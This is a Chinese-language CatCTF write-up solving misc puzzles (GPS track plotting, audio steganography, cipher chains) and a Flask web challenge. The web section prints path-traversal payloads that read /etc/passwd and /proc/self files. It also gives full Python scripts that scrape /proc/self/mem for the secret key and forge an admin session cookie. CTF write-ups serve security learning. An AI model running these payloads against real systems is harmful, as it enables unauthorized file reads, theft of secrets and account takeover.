CatCTF

  1. 1. 一、Misc
    1. 1.1. 1.CatchCat
    2. 1.2. 2.Miao
    3. 1.3. 3.catcat
  2. 2. 二、Web
    1. 2.1. 1.catcat
      1. 2.1.1. 文件读取部分
      2. 2.1.2.

一个为猫猫打猫粮的公益CTF,记录一下收获。

现题目已在攻防世界上线:

CatCTF原题

官网WP

一、Misc

1.CatchCat

第一次做GPS题,上网查了资料写脚本做出来了,很有成就感。

附件是GPS数据文件CatchCat.txt,里面有很多GPS数据:

格式都是:

$GPGGA,090000.00,3416.48590278,N,10856.86623887,E,1,05,2.87,160.00,M,-21.3213,M,,*7E

网上的解释:GPGGA格式详解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
该数据帧的结构及各字段释义如下:
$GPGGA,<1>,<2>,<3>,<4>,<5>,<6>,<7>,<8>,<9>,M,<10>,M,<11>,<12>*xx<CR><LF>
$GPGGA:起始引导符及语句格式说明(本句为GPS定位数据);
<1> UTC时间,格式为hhmmss.sss;
<2> 纬度,格式为ddmm.mmmm(第一位是零也将传送);
<3> 纬度半球,N或S(北纬或南纬)
<4> 经度,格式为dddmm.mmmm(第一位零也将传送);
<5> 经度半球,E或W(东经或西经)
<6> GPS状态, 0初始化, 1单点定位, 2码差分, 3无效PPS, 4固定解, 5浮点解, 6正在估算 7,人工输入固定值, 8模拟模式, 9WAAS差分
<7> 使用卫星数量,从00到12(第一个零也将传送)
<8> HDOP-水平精度因子,0.5到99.9,一般认为HDOP越小,质量越好。
<9> 椭球高,-9999.9到9999.9米
M 指单位米
<10> 大地水准面高度异常差值,-9999.9到9999.9米
M 指单位米
<11> 差分GPS数据期限(RTCM SC-104),最后设立RTCM传送的秒数量,如不是差分定位则为空
<12> 差分参考基站标号,从0000到1023(首位0也将传送)。
* 语句结束标志符
xx 从$开始到*之间的所有ASCII码的异或校验
<CR> 回车符,结束标记
<LF> 换行符,结束标记

但这题只用经纬就行。

上网知道了一个好用的py库叫pynmea2,可以提取其中的经纬度信息,然后查到了可以用

https://lbs.amap.com/demo/javascript-api/example/marker/replaying-historical-running-data

来回放点的轨迹。

写了一个Python脚本如下:

1
2
3
4
5
6
7
8
9
10
11
import pynmea2
filename = 'CatchCat.txt'
list = []
with open(filename) as file_object:
for line in file_object:
list1= []
msg = pynmea2.parse(line)
list1.append(msg.longitude)
list1.append(msg.latitude)
list.append(list1)
print(list)

将输出结果粘贴到网站右侧放经纬度的地方,得到路线图:

GPS

虽然有点不清楚,但还是看的出来的,flag是CatCTF{GPS_M1ao}

2.Miao

下载得到一张图片,binwalk分析不出来,用16进制编译器查看发现有一个wav文件,手动分离。

是猫猫的Miao叫声的一个。

用Audacity打开,查看频谱图得到key:CatCTF

上网查了一下,知道了一款叫DeepSound的隐写工具。

用DeepSound打开,用CatCTF作为密码,得到flag.txt。

flag,txt打开发现是猫叫的密码,上网查了一下,选了一个网站解密

http://hi.pcmoe.net/roar.html。

得到flag

CatCTF{d0_y0u_Hate_c4t_ba3k1ng_?_M1ao~}

小总结:有找到密码的音频可以考虑DeepSound和SilentEye,这两个工具是可能要输入密码的

3.catcat

下载后得到一个猫猫.jpg和一个我养了一只叫兔子的91岁的猫猫.txt,猜测jpg有密钥,txt是flag的加密。

没发现名字的提示,且猫猫.jpg也没找到密钥,以为是用stegsolve。

这里要提一嘴,jpg不可能是LSB。要去先了解原理,不要只会工具不会原理

后来才知道是rabbit加密(看txt文件名字的提示),至于密码,是在猫猫.jpg的数据里,用16进制编译器搜索password就行了。

password

网站解密txt文件里的内容:

rabbit

得到的是base91编码的数据(txt文件名里也有提示)

再次用网站解密:

base91

得到的是Ook的加密,最后用网站解密,得到flag:

CATCTF{Th1s_V3ry_cute_catcat!!!}

二、Web

1.catcat

任意文件读取漏洞。

当时只做到找到源码就不会了,主要原因是不会写脚本。

小总结:要提升锻炼写脚本的能力

重新再战这题!

首先是访问网站随便点一下发现可能存在任意文件读取的漏洞。

试着用 ?file=../../etc/passwd读取系统文件成功,说明确实存在任意文件读取的漏洞

那么我们就可以尝试读取源码了。

官方WP是用了?file=../../proc/self/cmdline先找到了文件名

用?file=../app.py读取源码

我当时是摸的?file../../app/app.py读取源码

上图读出来的源码很乱,但由前面b开头可知这是python中的bytes类型

可以直接使用bytes的decode()方法获取格式化的源码,如下

可以直接使用bytes的decode()方法获取格式化的源码,如下

1
2
source = b'import os\nimport uuid\nfrom flask import Flask, request, session, render_template, Markup\nfrom cat import cat\n\nflag = ""\napp = Flask(\n __name__,\n static_url_path=\'/\', \n static_folder=\'static\' \n)\napp.config[\'SECRET_KEY\'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"\nif os.path.isfile("/flag"):\n flag = cat("/flag")\n os.remove("/flag")\n\n@app.route(\'/\', methods=[\'GET\'])\ndef index():\n detailtxt = os.listdir(\'./details/\')\n cats_list = []\n for i in detailtxt:\n cats_list.append(i[:i.index(\'.\')])\n \n return render_template("index.html", cats_list=cats_list, cat=cat)\n\n\n\n@app.route(\'/info\', methods=["GET", \'POST\'])\ndef info():\n filename = "./details/" + request.args.get(\'file\', "")\n start = request.args.get(\'start\', "0")\n end = request.args.get(\'end\', "0")\n name = request.args.get(\'file\', "")[:request.args.get(\'file\', "").index(\'.\')]\n \n return render_template("detail.html", catname=name, info=cat(filename, start, end))\n \n\n\n@app.route(\'/admin\', methods=["GET"])\ndef admin_can_list_root():\n if session.get(\'admin\') == 1:\n return flag\n else:\n session[\'admin\'] = 0\n return "NoNoNo"\n\n\n\nif __name__ == \'__main__\':\n app.run(host=\'0.0.0.0\', debug=False, port=5637)'
print(source.decode())

得源码app.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat

flag = ""
app = Flask(
__name__,
static_url_path='/',
static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
if os.path.isfile("/flag"):
flag = cat("/flag")
os.remove("/flag")

@app.route('/', methods=['GET'])
def index():
detailtxt = os.listdir('./details/')
cats_list = []
for i in detailtxt:
cats_list.append(i[:i.index('.')])

return render_template("index.html", cats_list=cats_list, cat=cat)



@app.route('/info', methods=["GET", 'POST'])
def info():
filename = "./details/" + request.args.get('file', "")
start = request.args.get('start', "0")
end = request.args.get('end', "0")
name = request.args.get('file', "")[:request.args.get('file', "").index('.')]

return render_template("detail.html", catname=name, info=cat(filename, start, end))



@app.route('/admin', methods=["GET"])
def admin_can_list_root():
if session.get('admin') == 1:
return flag
else:
session['admin'] = 0
return "NoNoNo"



if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=5637)

下面官网WP解释的很清楚,借一下(

首先关注含有flag的部分,以下代码可知程序一启动就读取并删除flag文件

1
2
3
if os.path.isfile("/flag"):
flag = cat("/flag")
os.remove("/flag")

关注到admin路由可以获取flag,但是需要完成session伪造

需要伪造内容为{"admin" : 1}的session,则需要获取secret key

1
2
3
4
5
6
7
@app.route('/admin', methods=["GET"])
def admin_can_list_root():
if session.get('admin') == 1:
return flag
else:
session['admin'] = 0
return "NoNoNo"

secret key部分如下,是生成一个uuid然后去除-再拼接*abcdefgh组成的

1
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"

文件读取部分

可以看到任意文件读取功能是info路由提供的,

注意到可控参数有三个,分别是file,start和end

还注意到其中有个cat函数

1
2
3
4
5
6
7
8
@app.route('/info', methods=["GET", 'POST'])
def info():
filename = "./details/" + request.args.get('file', "")
start = request.args.get('start', "0")
end = request.args.get('end', "0")
name = request.args.get('file', "")[:request.args.get('file', "").index('.')]

return render_template("detail.html", catname=name, info=cat(filename, start, end))

分析源码可知cat函数由cat.py提供

1
from cat import cat

同理去访问?file=../cat.py再进行decode()得到cat.py源码。

cat.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import os, sys, getopt


def cat(filename, start=0, end=0)->bytes:
data = b''

try:
start = int(start)
end = int(end)

except:
start=0
end=0

if filename != "" and os.access(filename, os.R_OK):
f = open(filename, "rb")

if start >= 0:
f.seek(start)
if end >= start and end != 0:
data = f.read(end-start)

else:
data = f.read()

else:
data = f.read()

f.close()

else:
data = ("File `%s` not exist or can not be read" % filename).encode()

return data


if __name__ == '__main__':
opts,args = getopt.getopt(sys.argv[1:],'-h-f:-s:-e:',['help','file=','start=','end='])
fileName = ""
start = 0
end = 0

for opt_name, opt_value in opts:
if opt_name == '-h' or opt_name == '--help':
print("[*] Help")
print("-f --file File name")
print("-s --start Start position")
print("-e --end End position")
print("[*] Example of reading /etc/passwd")
print("python3 cat.py -f /etc/passwd")
print("python3 cat.py --file /etc/passwd")
print("python3 cat.py -f /etc/passwd -s 1")
print("python3 cat.py -f /etc/passwd -e 5")
print("python3 cat.py -f /etc/passwd -s 1 -e 5")
exit()

elif opt_name == '-f' or opt_name == '--file':
fileName = opt_value

elif opt_name == '-s' or opt_name == '--start':
start = opt_value

elif opt_name == '-e' or opt_name == '--end':
end = opt_value

if fileName != "":
print(cat(fileName, start, end))

else:
print("No file to read")

可以得到cat函数的定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def cat(filename, start=0, end=0)->bytes:
data = b''

try:
start = int(start)
end = int(end)

except:
start=0
end=0

if filename != "" and os.access(filename, os.R_OK):
f = open(filename, "rb")

if start >= 0:
f.seek(start)
if end >= start and end != 0:
data = f.read(end-start)

else:
data = f.read()

else:
data = f.read()

f.close()

else:
data = ("File `%s` not exist or can not be read" % filename).encode()

return data

作用是读取文件并以bytes返回,观察可知可以设定读取位置(start、end)

结合app.py中:

1
2
3
4
5
6
7
8
@app.route('/info', methods=["GET", 'POST'])
def info():
filename = "./details/" + request.args.get('file', "")
start = request.args.get('start', "0")
end = request.args.get('end', "0")
name = request.args.get('file', "")[:request.args.get('file', "").index('.')]

return render_template("detail.html", catname=name, info=cat(filename, start, end))

我们可以知道可以传start和end参数来截取返回的部分内容,比如:

这又有什么用呢?不急,马上就有大用了。

这题的关键点就是伪造session,从而访问admin路由获取flag

但伪造session需要获取secret key

这里可以利用python存储对象的位置在堆上这个特性,

app是实例化的Flask对象,而secret key在app.config['SECRET_KEY']

所以可以通过读取/proc/self/mem来读取secret key

其实flag也在内存里,也可以正则匹配直接读取到flag。

但是/proc/self/mem内容较多而且存在不可不可读写部分,无法直接访问到

所以先读取/proc/self/maps获取堆栈分布,用脚本找到可读写部分,再去利用start与end参数访问出来,正则匹配secret_key。

从app.py中可以得到secret_key的格式:

1
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"

参照了官方脚本和B站上大佬的脚本,我写了一个自己的脚本

main.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import re

url = "http://61.147.171.105:61020/"
bypass = "../.."
map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")
map_list = map_list.text.split("\\n")
for i in map_list:
map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
if map_addr != None:
start = int(map_addr.group(1), 16)
end = int(map_addr.group(2), 16)
mem = requests.get(url + f"info?file={bypass}/proc/self/mem&start={start}&end={end}")
flag = re.findall("[a-zA-Z]{6}\{[a-z0-9A-Z-_]*\}", mem.text)
if flag:
print(flag[0])
if "*abcdefgh" in mem.text:
secretkey = re.findall("[a-z0-9]{32}\*abcdefgh",mem.text)
if secretkey:
print(secretkey[0])

可以得到flag和secretkey

其实已经得到flag:catctf{Catch_the_c4t_HaHa}

但是还是可以尝试session伪造一下:

由app.py,访问/admin时session里的admin为1时返回flag。

官网是给出了一个github项目:

session伪造可以利用如下项目

1
https://github.com/noraj/flask-session-cookie-manager

用这个伪造就行了

最后官方的脚本是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
# coding=utf-8
#----------------------------------
###################################
#Edited by lx56@blog.lxscloud.top
###################################
#----------------------------------
import requests
import re
import ast, sys
from abc import ABC
from flask.sessions import SecureCookieSessionInterface


url = "http://"

#此程序只能运行于Python3以上
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')

#----------------session 伪造----------------
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key

class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
#-------------------------------------------



#由/proc/self/maps获取可读写的内存地址,再根据这些地址读取/proc/self/mem来获取secret key
s_key = ""
bypass = "../.."
#请求file路由进行读取
map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")
map_list = map_list.text.split("\\n")
for i in map_list:
#匹配指定格式的地址
map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
if map_addr:
start = int(map_addr.group(1), 16)
end = int(map_addr.group(2), 16)
print("Found rw addr:", start, "-", end)

#设置起始和结束位置并读取/proc/self/mem
res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")
#如果发现*abcdefgh存在其中,说明成功泄露secretkey
if "*abcdefgh" in res.text:
#正则匹配,本题secret key格式为32个小写字母或数字,再加上*abcdefgh
secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)
if secret_key:
print("Secret Key:", secret_key[0])
s_key = secret_key[0]
break

#设置session中admin的值为1
data = '{"admin":1}'
#伪造session
headers = {
"Cookie" : "session=" + FSCM.encode(s_key, data)
}
#请求admin路由
try:
flag = requests.get(url + "admin", headers=headers)
print("Flag is", flag.text)
except:
print("Something error")

这里session伪造其实还不是很清楚,如何知道什么加密呢,还是只能用项目,用jwt库能否实现伪造。

但flag总归是出了:flag:catctf{Catch_the_c4t_HaHa}